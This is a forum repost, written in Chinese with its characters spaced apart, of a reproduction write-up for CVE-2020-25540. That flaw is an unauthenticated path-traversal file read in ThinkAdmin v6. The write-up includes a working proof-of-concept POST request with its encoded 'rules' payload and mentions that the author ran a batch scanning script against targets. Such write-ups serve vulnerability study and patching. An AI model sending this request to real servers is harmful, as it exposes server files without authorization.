搜索

[20372] 2020-09-24_Thinkadminv6任意文件读取漏洞（CVE-2020-25540）复现

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2020-09-24_Thinkadminv6任意文件读取漏洞（CVE-2020-25540）复现 T h i n k a d m i n   v 6 任 意 文 件 读 取 漏 洞 （ C V E - 2 0 2 0 - 2 5 5 4 0 ） 复 现 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 9 - 2 4 编 者 荐 语 ： 棒 极 了 以 下 文 章 来 源 于 t h e l o s t w o r l d   ， 作 者 t h e l o s t w o r l d T h i n k a d m i n   v 6 任 意 文 件 读 取 漏 洞 （ C V E - 2 0 2 0 - 2 5 5 4 0 ） 复 现 快 结 束 ， 抓 住 H V V 的 小 尾 巴 ， 现 在 有 空 去 复 现 最 近 出 的 漏 洞 一 、 漏 洞 简 介 : T h i n k A d m i n 是 一 套 基 于 T h i n k P H P 框 架 的 通 用 后 台 管 理 系 统 ， T h i n k A d m i n   的 权 限 管 理 基 于 标 准 R B A C 简 化 而 来 ， 去 除 了 繁 杂 的 节 点 管 理 ， 使 得 权 限 管 理 起 来 更 简 单 ， 具 体 包 含 节 点 管 理 、 权 限 管 理 、 菜 单 管 理 、 用 户 管 理 。 T h i n k A d m i n   6 版 本 存 在 路 径 遍 历 漏 洞 。 攻 击 者 可 利 用 该 漏 洞 通 过 G E T 请 求 编 码 参 数 任 意 读 取 远 程 服 务 器 上 的 文 件 。 二 、 漏 洞 成 因 : h t t p s : / / g i t h u b . c o m / z o u j i n g l i / T h i n k A d m i n / b l o b / v 6 / a p p / a d m i n / c o n t r o l l e r / a p i / U p d a t e . p h p U p d a t e . p h p 中 的 函 数 方 法 未 授 权 ， 可 直 接 函 数 可 直 接 调 用 。 导 致 漏 洞 三 、 影 响 范 围 : T h i n k a d m i n 版 本 小 于   ≤   2 0 2 0 . 0 8 . 0 3 . 0 1 四 、 漏 洞 复 现 : P O C ： t h e l o s t w o r l d   . 开 发 、 安 全   学 习 - 工 作 记 录 P O S T   / a d m i n . h t m l ? s = a d m i n / a p i . U p d a t e / n o d e   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d
简 单 写 了 一 个 批 量 的 小 脚 本 跑 了 一 部 分 ， 成 功 的 不 多 ， H V V 尾 声 了 ， 情 况 也 正 常 。 发 现 一 个 诡 异 的 地 方 ： b u r p 直 接 放 包 不 能 成 功 回 去 j s o n 的 返 回 数 据 p y t h o n - 尝 试 p y t h o n 的 r e q u e s t 的 p o s t 方 法 可 以 返 回 C o n t e n t - L e n g t h :   2 2 r u l e s = % 5 B % 2 2 . % 2 F % 2 2 % 5 D
尝 试 c u r l 的 p o s t 的 方 法 可 以 正 常 返 回 数 据 下 来 再 来 研 究 这 个 问 题 。 五 、 修 复 方 案 : 目 前 厂 商 已 经 发 布 修 复 相 关 问 题 ， 请 受 影 响 用 户 尽 快 升 级 到 安 全 版 本 六 、 参 考 链 接 : h t t p s : / / g i t h u b . c o m / z o u j i n g l i / T h i n k A d m i n / i s s u e s / 2 4 4 h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 t m 8 D Z N p G M C y L 6 m c C F U v k A h t t p s : / / w w w . c n b l o g s . c o m / f a n - g x / p / 1 2 3 2 1 3 5 1 . h t m l 免 责 声 明 ： 本 站 提 供 安 全 工 具 、 程 序 ( 方 法 ) 可 能 带 有 攻 击 性 ， 仅 供 安 全 研 究 与 教 学 之 用 ， 风 险 自 负 !
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理